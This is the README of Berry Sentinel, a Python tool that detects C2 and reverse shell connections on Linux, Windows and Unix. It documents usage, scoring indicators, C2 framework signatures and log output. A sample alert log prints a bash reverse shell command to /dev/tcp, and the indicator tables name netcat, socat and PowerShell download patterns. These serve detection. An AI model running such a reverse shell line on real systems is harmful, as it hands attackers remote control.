Berry Sentinel v5.0 — 针对 Linux/Windows/Unix 系统的先进行为型 C2 与反弹 shell 检测器。功能包括实时连接分析、启发式评分、C2 框架签名检测、信标间隔分析,以及带进程终止引擎的交互式基于 curses 的 TUI。
实时C2(命令与控制)连接行为检测器
零特征码 · 防弹收集 · 深度扫描 · 终止引擎
Berry Sentinel 监控你系统上所有活跃的网络连接,并分析生成这些连接的进程的行为,以检测恶意活动 —— 无需使用杀毒软件的特征码数据库或IP黑名单。
它通过观察进程的行为方式来检测反向Shell、Webshell、RAT、C2信标以及Meterpreter、Cobalt Strike、Sliver或Empire等框架:如果一个Python解释器的stdin连接到了一个远程socket,即使IP未知,这也值得怀疑。
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — 行为C2检测器 · 交互式TUI ║
║ 连接数: 38 │ 威胁: 2 │ 特征: 1 │ 通过 proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID 严重度 分值 PID 进程 远程地址 状态 特征/标签 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █严重 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲高 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutil以获得额外覆盖# 克隆仓库
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (可选但推荐)安装psutil
pip install psutil
# 运行
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # curses在Termux上可能不可用
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [选项]
选项:
--all, -a 包含本地/环回连接(除远程外)
--interval N, -i N 每N秒刷新一次(默认:2,最小:0.5)
--log FILE, -l FILE 将警报保存到文件中(JSONL格式)
--json, -j 退出时导出完整JSON
--whitelist LIST 要忽略的IP或CIDR,用逗号分隔
--no-color 无ANSI颜色(适用于管道或日志)
--verbose, -v 显示所有连接,而不仅仅是可疑的
--top N, -t N 表格最大行数(默认:50)
--diag, -d 诊断:显示哪些收集方法有效
--no-tui 无curses的旧版模式(经典滚动,更便携)
--version, -V 显示版本并退出
# 交互式TUI —— 推荐模式
python3 BerrySentinel.py
# 使用root进行深度扫描(访问进程内存)
sudo python3 BerrySentinel.py --all
# 保存警报并在退出时导出JSON
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# 忽略内部网络并每5秒刷新一次
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# 文本模式,用于脚本或通过SSH且无交互式终端
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# 查看哪些收集方法在当前系统上有效
python3 BerrySentinel.py --diag --no-tui
# 仅严重警报,每10秒更新,保存日志
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
每个连接根据检测到的指标获得0到100的分数:
根据分数的严重性:
Berry Sentinel包含以下框架的特征(通过端口、进程名称、命令行和信标模式评估):
每个警报记录为独立的JSON行:
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRÍTICO",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
使用jq处理:
# 仅过滤严重连接
jq 'select(.sev == "CRÍTICO")' sentinel.log
# 查看所有可疑PID
jq '[.pid] | unique' sentinel_export.json
# 按特定特征搜索
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
BerrySentinel.py
├── 全局常量
│ ├── SHELL_BINS, SCRIPT_ENGINES — Shell和解释器名称
│ ├── C2_SUSPECT_PORTS — 典型C2端口
│ ├── PRIVATE_NETS — 私有IP范围
│ └── C2_SIGNATURES — 已知框架特征
│
├── 数据模型
│ ├── C2Signature — C2特征定义
│ ├── ProcInfo — 操作系统进程信息
│ ├── Conn — 网络连接 + 分析结果
│ └── BeaconTracker — C2信标检测器
│
├── 数据收集
│ ├── Collector — 协调多个网络来源
│ ├── parse_proc_net_content() — 解析 /proc/net/*
│ ├── build_inode_pid_map() — inode→PID映射
│ ├── get_proc_info() — 通过 /proc 获取进程信息
│ └── get_proc_info_psutil() — 通过 psutil 获取进程信息
│
├── 分析
│ ├── Engine.analyze() — 行为评分 + 标签
│ ├── Engine._beacon() — 信标检测
│ └── match_signatures() — C2特征匹配
│
├── 输出
│ ├── CursesTUI — 交互式TUI(默认模式)
│ ├── LegacyTUI — 无curses的ANSI输出(回退)
│ └── Logger — 磁盘上的JSONL日志
│
└── Sentinel — 主协调器
psutil — 可选但强烈推荐(pip install psutil)无额外依赖时,该工具使用Python标准库即可运行。psutil在macOS和Windows(无/proc)上增加覆盖。
from BerrySentinel import C2Signature, C2_SIGNATURES
mi_rat = C2Signature(
name="MiRAT",
description="未经授权的内部企业RAT",
score_bonus=70,
checks=[
{"type": "port", "value": 6543},
{"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
{"type": "procname", "value": r"^mi_rat$"},
],
)
C2_SIGNATURES.append(mi_rat)
import argparse
from BerrySentinel import Sentinel, Sev
args = argparse.Namespace(
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
)
s = Sentinel(args)
s._cycle_data()
for conn in s.last_conns:
if conn.severity >= Sev.HIGH:
proc = conn.proc
print(f"[警报] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"score={conn.score:.0f} tags={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
class MiEngine(Engine):
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
def analyze(self, c: Conn) -> Conn:
c = super().analyze(c)
# 添加自己的逻辑
if c.remote_addr in self.KNOWN_C2_IPS:
c.score = min(c.score + 40, 100)
c.tags.append("KNOWN-IOC-IP")
c.severity = Sev.CRITICAL
return c
Berry Sentinel旨在监控你自己的系统或你有明确授权的系统。终止引擎仅在用户明确请求时才会操作。请负责任地使用,并遵守你所在司法管辖区的适用法律。
MIT — 参见 LICENSE
| 按键 | 操作 |
|---|
↑ / ↓ | 在连接之间导航 |
d / D | 查看所选连接的详细信息面板 |
k / K | 终止进程(需要确认PID) |
f / F | 循环切换严重性过滤器:全部 → 中 → 高 → 严重 |
r | 强制立即刷新 |
ESC | 关闭详细信息面板或取消操作 |
q | 退出 |
| 指标 | 分数 | 标签 |
|---|
| stdin/stdout → socket | +55 | FD→SOCK |
| 带远程连接的Shell二进制文件 | +40 | SHELL→NET |
| Webshell(作为Apache/Nginx子进程的shell) | +35 | WEBSHELL |
| 高端口上的绑定Shell | +35 | BIND-SHELL |
| 使用netcat/socat | +35 | NETCAT |
/dev/tcp 或 mkfifo 重定向 | +40 | PIPE-REDIR |
| 从磁盘删除的可执行文件 | +25 | EXE-DEL! |
/tmp 或 /dev/shm 中的可执行文件 | +15 | EXE-TMP |
| 检测到信标(循环连接) | +25×置信度 | BCN(60s) |
| Meterpreter特征 | +55 | SIG:Meterpreter |
| Cobalt Strike特征 | +60 | SIG:CobaltStrike |
| Sliver特征 | +58 | SIG:Sliver |
| RWX内存区域 | +20 | RWX(N) |
| LD_PRELOAD 或 HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| 连接的脚本解释器 | +25 | INTERP→NET |
| 命令行中的eval/exec | +18 | EVAL |
| 远程PowerShell(IEX、DownloadString) | +30 | PS-REM |
| 分数 | 严重性 | 颜色 |
|---|
| ≥ 65 | 严重 | 🔴 亮红 |
| ≥ 45 | 高 | 🟠 橙色 |
| ≥ 25 | 中 | 🟡 黄色 |
| ≥ 8 | 低 | 🔵 青色 |
| < 8 | 信息 | ⚪ 灰色 |
| 框架 | 加分 | 关键指标 |
|---|
| Meterpreter | +55 | 端口4444,进程ruby/msfconsole |
| Cobalt Strike | +60 | 端口50050,信标~60s,进程java |
| Sliver | +58 | 端口31337/8888,信标~60s |
| Empire | +55 | 端口1234/7777,PowerShell -enc |
| Brute Ratel | +62 | 端口2083,进程badger |
| Havoc | +58 | 端口40056,demon.x64/x86 |
| Pupy RAT | +52 | 端口9999,pupy.py |
| Merlin | +54 | 端口8443,merlin-agent |
| Covenant | +54 | 端口7443,GruntHTTP |
| PoshC2 | +52 | FComServer,ImplantCore |
| Mythic | +56 | 端口7443,poseidon/apfell |
| QuasarRAT | +50 | 端口4782-4785 |
| NetcatShell | +45 | socat exec bash,pty |
| DNS-C2 | +40 | 端口53,dnscat/iodine |
| 系统 | 支持 | 备注 |
|---|
| Linux | ✅ 完整 | 使用root时启用深度扫描 |
| Android/Termux | ✅ 完整 | 如果curses失败,使用--no-tui |
| macOS | ⚠️ 部分 | 无/proc;使用netstat+psutil |
| Windows | ⚠️ 部分 | netstat+psutil,无内存分析 |